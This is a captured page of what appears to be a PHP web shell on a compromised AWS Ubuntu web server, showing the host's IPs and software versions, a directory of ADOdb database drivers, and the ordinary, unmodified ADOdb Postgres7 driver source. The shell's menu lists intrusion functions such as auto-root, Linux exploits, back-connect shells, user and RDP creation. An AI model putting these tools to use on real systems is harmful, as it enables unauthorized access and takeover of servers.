Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.216.253.84
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
results /
sdu /
libs /
adodb5 /
drivers /
[ HOME SHELL ]
Name
Size
Permission
Action
adodb-access.inc.php
2.18
KB
-rwxr-xr-x
adodb-ado.inc.php
15.94
KB
-rwxr-xr-x
adodb-ado5.inc.php
17
KB
-rwxr-xr-x
adodb-ado_access.inc.php
1.39
KB
-rwxr-xr-x
adodb-ado_mssql.inc.php
4.29
KB
-rwxr-xr-x
adodb-ads.inc.php
23.2
KB
-rwxr-xr-x
adodb-borland_ibase.inc.php
2.18
KB
-rwxr-xr-x
adodb-csv.inc.php
4.82
KB
-rwxr-xr-x
adodb-db2.inc.php
21.53
KB
-rwxr-xr-x
adodb-db2oci.inc.php
4.57
KB
-rwxr-xr-x
adodb-db2ora.inc.php
1.94
KB
-rwxr-xr-x
adodb-fbsql.inc.php
6.36
KB
-rwxr-xr-x
adodb-firebird.inc.php
1.88
KB
-rwxr-xr-x
adodb-ibase.inc.php
24
KB
-rwxr-xr-x
adodb-informix.inc.php
1.03
KB
-rwxr-xr-x
adodb-informix72.inc.php
14.57
KB
-rwxr-xr-x
adodb-ldap.inc.php
10.86
KB
-rwxr-xr-x
adodb-mssql.inc.php
33.59
KB
-rwxr-xr-x
adodb-mssql_n.inc.php
9.79
KB
-rwxr-xr-x
adodb-mssqlnative.inc.php
35.12
KB
-rwxr-xr-x
adodb-mssqlpo.inc.php
1.52
KB
-rwxr-xr-x
adodb-mysql.inc.php
21.99
KB
-rwxr-xr-x
adodb-mysqli.inc.php
32.43
KB
-rwxr-xr-x
adodb-mysqlpo.inc.php
3.1
KB
-rwxr-xr-x
adodb-mysqlt.inc.php
3.47
KB
-rwxr-xr-x
adodb-netezza.inc.php
4.71
KB
-rwxr-xr-x
adodb-oci8.inc.php
45.94
KB
-rwxr-xr-x
adodb-oci805.inc.php
1.55
KB
-rwxr-xr-x
adodb-oci8po.inc.php
5.92
KB
-rwxr-xr-x
adodb-oci8quercus.inc.php
2.39
KB
-rwxr-xr-x
adodb-odbc.inc.php
18.94
KB
-rwxr-xr-x
adodb-odbc_db2.inc.php
9.16
KB
-rwxr-xr-x
adodb-odbc_mssql.inc.php
10.49
KB
-rwxr-xr-x
adodb-odbc_oracle.inc.php
3.15
KB
-rwxr-xr-x
adodb-odbtp.inc.php
23.26
KB
-rwxr-xr-x
adodb-odbtp_unicode.inc.php
1.14
KB
-rwxr-xr-x
adodb-oracle.inc.php
9.26
KB
-rwxr-xr-x
adodb-pdo.inc.php
16.68
KB
-rwxr-xr-x
adodb-pdo_mssql.inc.php
1.5
KB
-rwxr-xr-x
adodb-pdo_mysql.inc.php
6.76
KB
-rwxr-xr-x
adodb-pdo_oci.inc.php
2.67
KB
-rwxr-xr-x
adodb-pdo_pgsql.inc.php
8.29
KB
-rwxr-xr-x
adodb-pdo_sqlite.inc.php
5.84
KB
-rwxr-xr-x
adodb-pdo_sqlsrv.inc.php
1013
B
-rwxr-xr-x
adodb-postgres.inc.php
611
B
-rwxr-xr-x
adodb-postgres64.inc.php
31.46
KB
-rwxr-xr-x
adodb-postgres7.inc.php
10.34
KB
-rwxr-xr-x
adodb-postgres8.inc.php
1.42
KB
-rwxr-xr-x
adodb-postgres9.inc.php
821
B
-rwxr-xr-x
adodb-proxy.inc.php
884
B
-rwxr-xr-x
adodb-sapdb.inc.php
5.1
KB
-rwxr-xr-x
adodb-sqlanywhere.inc.php
4.13
KB
-rwxr-xr-x
adodb-sqlite.inc.php
10.4
KB
-rwxr-xr-x
adodb-sqlite3.inc.php
10.07
KB
-rwxr-xr-x
adodb-sqlitepo.inc.php
1.82
KB
-rwxr-xr-x
adodb-sybase.inc.php
12.15
KB
-rwxr-xr-x
adodb-sybase_ase.inc.php
3.24
KB
-rwxr-xr-x
adodb-vfp.inc.php
2.45
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : adodb-postgres7.inc.php
<?php /* @version v5.20.9 21-Dec-2016 @copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved. @copyright (c) 2014 Damien Regad, Mark Newnham and the ADOdb community Released under both BSD license and Lesser GPL library license. Whenever there is any discrepancy between the two licenses, the BSD license will take precedence. Set tabs to 4. Postgres7 support. 28 Feb 2001: Currently indicate that we support LIMIT 01 Dec 2001: dannym added support for default values */ // security - hide paths if (!defined('ADODB_DIR')) die(); include_once(ADODB_DIR."/drivers/adodb-postgres64.inc.php"); class ADODB_postgres7 extends ADODB_postgres64 { var $databaseType = 'postgres7'; var $hasLimit = true; // set to true for pgsql 6.5+ only. support pgsql/mysql SELECT * FROM TABLE LIMIT 10 var $ansiOuter = true; var $charSet = true; //set to true for Postgres 7 and above - PG client supports encodings // Richard 3/18/2012 - Modified SQL to return SERIAL type correctly AS old driver no longer return SERIAL as data type. var $metaColumnsSQL = " SELECT a.attname, CASE WHEN x.sequence_name != '' THEN 'SERIAL' ELSE t.typname END AS typname, a.attlen, a.atttypmod, a.attnotnull, a.atthasdef, a.attnum FROM pg_class c, pg_attribute a JOIN pg_type t ON a.atttypid = t.oid LEFT JOIN ( SELECT c.relname as sequence_name, c1.relname as related_table, a.attname as related_column FROM pg_class c JOIN pg_depend d ON d.objid = c.oid LEFT JOIN pg_class c1 ON d.refobjid = c1.oid LEFT JOIN pg_attribute a ON (d.refobjid, d.refobjsubid) = (a.attrelid, a.attnum) WHERE c.relkind = 'S' AND c1.relname = '%s' ) x ON x.related_column= a.attname WHERE c.relkind in ('r','v') AND (c.relname='%s' or c.relname = lower('%s')) AND a.attname not like '....%%' AND a.attnum > 0 AND a.attrelid = c.oid ORDER BY a.attnum"; // used when schema defined var $metaColumnsSQL1 = " SELECT a.attname, CASE WHEN x.sequence_name != '' THEN 'SERIAL' ELSE t.typname END AS typname, a.attlen, a.atttypmod, a.attnotnull, a.atthasdef, a.attnum FROM pg_class c, pg_namespace n, pg_attribute a JOIN pg_type t ON a.atttypid = t.oid LEFT JOIN ( SELECT c.relname as sequence_name, c1.relname as related_table, a.attname as related_column FROM pg_class c JOIN pg_depend d ON d.objid = c.oid LEFT JOIN pg_class c1 ON d.refobjid = c1.oid LEFT JOIN pg_attribute a ON (d.refobjid, d.refobjsubid) = (a.attrelid, a.attnum) WHERE c.relkind = 'S' AND c1.relname = '%s' ) x ON x.related_column= a.attname WHERE c.relkind in ('r','v') AND (c.relname='%s' or c.relname = lower('%s')) AND c.relnamespace=n.oid and n.nspname='%s' AND a.attname not like '....%%' AND a.attnum > 0 AND a.atttypid = t.oid AND a.attrelid = c.oid ORDER BY a.attnum"; function __construct() { parent::__construct(); if (ADODB_ASSOC_CASE !== ADODB_ASSOC_CASE_NATIVE) { $this->rsPrefix .= 'assoc_'; } $this->_bindInputArray = PHP_VERSION >= 5.1; } // the following should be compat with postgresql 7.2, // which makes obsolete the LIMIT limit,offset syntax function SelectLimit($sql,$nrows=-1,$offset=-1,$inputarr=false,$secs2cache=0) { $offsetStr = ($offset >= 0) ? " OFFSET ".((integer)$offset) : ''; $limitStr = ($nrows >= 0) ? " LIMIT ".((integer)$nrows) : ''; if ($secs2cache) $rs = $this->CacheExecute($secs2cache,$sql."$limitStr$offsetStr",$inputarr); else $rs = $this->Execute($sql."$limitStr$offsetStr",$inputarr); return $rs; } /* function Prepare($sql) { $info = $this->ServerInfo(); if ($info['version']>=7.3) { return array($sql,false); } return $sql; } */ /** * Generate the SQL to retrieve MetaColumns data * @param string $table Table name * @param string $schema Schema name (can be blank) * @return string SQL statement to execute */ protected function _generateMetaColumnsSQL($table, $schema) { if ($schema) { return sprintf($this->metaColumnsSQL1, $table, $table, $table, $schema); } else { return sprintf($this->metaColumnsSQL, $table, $table, $schema); } } /** * @returns assoc array where keys are tables, and values are foreign keys */ function MetaForeignKeys($table, $owner=false, $upper=false) { # Regex isolates the 2 terms between parenthesis using subexpressions $regex = '^.*\((.*)\).*\((.*)\).*$'; $sql=" SELECT lookup_table, regexp_replace(consrc, '$regex', '\\2') AS lookup_field, dep_table, regexp_replace(consrc, '$regex', '\\1') AS dep_field FROM ( SELECT pg_get_constraintdef(c.oid) AS consrc, t.relname AS dep_table, ft.relname AS lookup_table FROM pg_constraint c JOIN pg_class t ON (t.oid = c.conrelid) JOIN pg_class ft ON (ft.oid = c.confrelid) JOIN pg_namespace nft ON (nft.oid = ft.relnamespace) LEFT JOIN pg_description ds ON (ds.objoid = c.oid) JOIN pg_namespace n ON (n.oid = t.relnamespace) WHERE c.contype = 'f'::\"char\" ORDER BY t.relname, n.nspname, c.conname, c.oid ) constraints WHERE dep_table='".strtolower($table)."' ORDER BY lookup_table, dep_table, dep_field"; $rs = $this->Execute($sql); if (!$rs || $rs->EOF) return false; $a = array(); while (!$rs->EOF) { if ($upper) { $a[strtoupper($rs->Fields('lookup_table'))][] = strtoupper(str_replace('"','',$rs->Fields('dep_field').'='.$rs->Fields('lookup_field'))); } else { $a[$rs->Fields('lookup_table')][] = str_replace('"','',$rs->Fields('dep_field').'='.$rs->Fields('lookup_field')); } $rs->MoveNext(); } return $a; } // from Edward Jaramilla, improved version - works on pg 7.4 function _old_MetaForeignKeys($table, $owner=false, $upper=false) { $sql = 'SELECT t.tgargs as args FROM pg_trigger t,pg_class c,pg_proc p WHERE t.tgenabled AND t.tgrelid = c.oid AND t.tgfoid = p.oid AND p.proname = \'RI_FKey_check_ins\' AND c.relname = \''.strtolower($table).'\' ORDER BY t.tgrelid'; $rs = $this->Execute($sql); if (!$rs || $rs->EOF) return false; $arr = $rs->GetArray(); $a = array(); foreach($arr as $v) { $data = explode(chr(0), $v['args']); $size = count($data)-1; //-1 because the last node is empty for($i = 4; $i < $size; $i++) { if ($upper) $a[strtoupper($data[2])][] = strtoupper($data[$i].'='.$data[++$i]); else $a[$data[2]][] = $data[$i].'='.$data[++$i]; } } return $a; } function _query($sql,$inputarr=false) { if (! $this->_bindInputArray) { // We don't have native support for parameterized queries, so let's emulate it at the parent return ADODB_postgres64::_query($sql, $inputarr); } $this->_pnum = 0; $this->_errorMsg = false; // -- added Cristiano da Cunha Duarte if ($inputarr) { $sqlarr = explode('?',trim($sql)); $sql = ''; $i = 1; $last = sizeof($sqlarr)-1; foreach($sqlarr as $v) { if ($last < $i) $sql .= $v; else $sql .= $v.' $'.$i; $i++; } $rez = pg_query_params($this->_connectionID,$sql, $inputarr); } else { $rez = pg_query($this->_connectionID,$sql); } // check if no data returned, then no need to create real recordset if ($rez && pg_num_fields($rez) <= 0) { if (is_resource($this->_resultid) && get_resource_type($this->_resultid) === 'pgsql result') { pg_free_result($this->_resultid); } $this->_resultid = $rez; return true; } return $rez; } // this is a set of functions for managing client encoding - very important if the encodings // of your database and your output target (i.e. HTML) don't match //for instance, you may have UNICODE database and server it on-site as WIN1251 etc. // GetCharSet - get the name of the character set the client is using now // the functions should work with Postgres 7.0 and above, the set of charsets supported // depends on compile flags of postgres distribution - if no charsets were compiled into the server // it will return 'SQL_ANSI' always function GetCharSet() { //we will use ADO's builtin property charSet $this->charSet = @pg_client_encoding($this->_connectionID); if (!$this->charSet) { return false; } else { return $this->charSet; } } // SetCharSet - switch the client encoding function SetCharSet($charset_name) { $this->GetCharSet(); if ($this->charSet !== $charset_name) { $if = pg_set_client_encoding($this->_connectionID, $charset_name); if ($if == "0" & $this->GetCharSet() == $charset_name) { return true; } else return false; } else return true; } } /*-------------------------------------------------------------------------------------- Class Name: Recordset --------------------------------------------------------------------------------------*/ class ADORecordSet_postgres7 extends ADORecordSet_postgres64{ var $databaseType = "postgres7"; function __construct($queryID, $mode=false) { parent::__construct($queryID, $mode); } // 10% speedup to move MoveNext to child class function MoveNext() { if (!$this->EOF) { $this->_currentRow++; if ($this->_numOfRows < 0 || $this->_numOfRows > $this->_currentRow) { $this->fields = @pg_fetch_array($this->_queryID,$this->_currentRow,$this->fetchMode); if (is_array($this->fields)) { if ($this->fields && isset($this->_blobArr)) $this->_fixblobs(); return true; } } $this->fields = false; $this->EOF = true; } return false; } } class ADORecordSet_assoc_postgres7 extends ADORecordSet_postgres64{ var $databaseType = "postgres7"; function __construct($queryID, $mode=false) { parent::__construct($queryID, $mode); } function _fetch() { if ($this->_currentRow >= $this->_numOfRows && $this->_numOfRows >= 0) { return false; } $this->fields = @pg_fetch_array($this->_queryID,$this->_currentRow,$this->fetchMode); if ($this->fields) { if (isset($this->_blobArr)) $this->_fixblobs(); $this->_updatefields(); } return (is_array($this->fields)); } function MoveNext() { if (!$this->EOF) { $this->_currentRow++; if ($this->_numOfRows < 0 || $this->_numOfRows > $this->_currentRow) { $this->fields = @pg_fetch_array($this->_queryID,$this->_currentRow,$this->fetchMode); if (is_array($this->fields)) { if ($this->fields) { if (isset($this->_blobArr)) $this->_fixblobs(); $this->_updatefields(); } return true; } } $this->fields = false; $this->EOF = true; } return false; } }
Close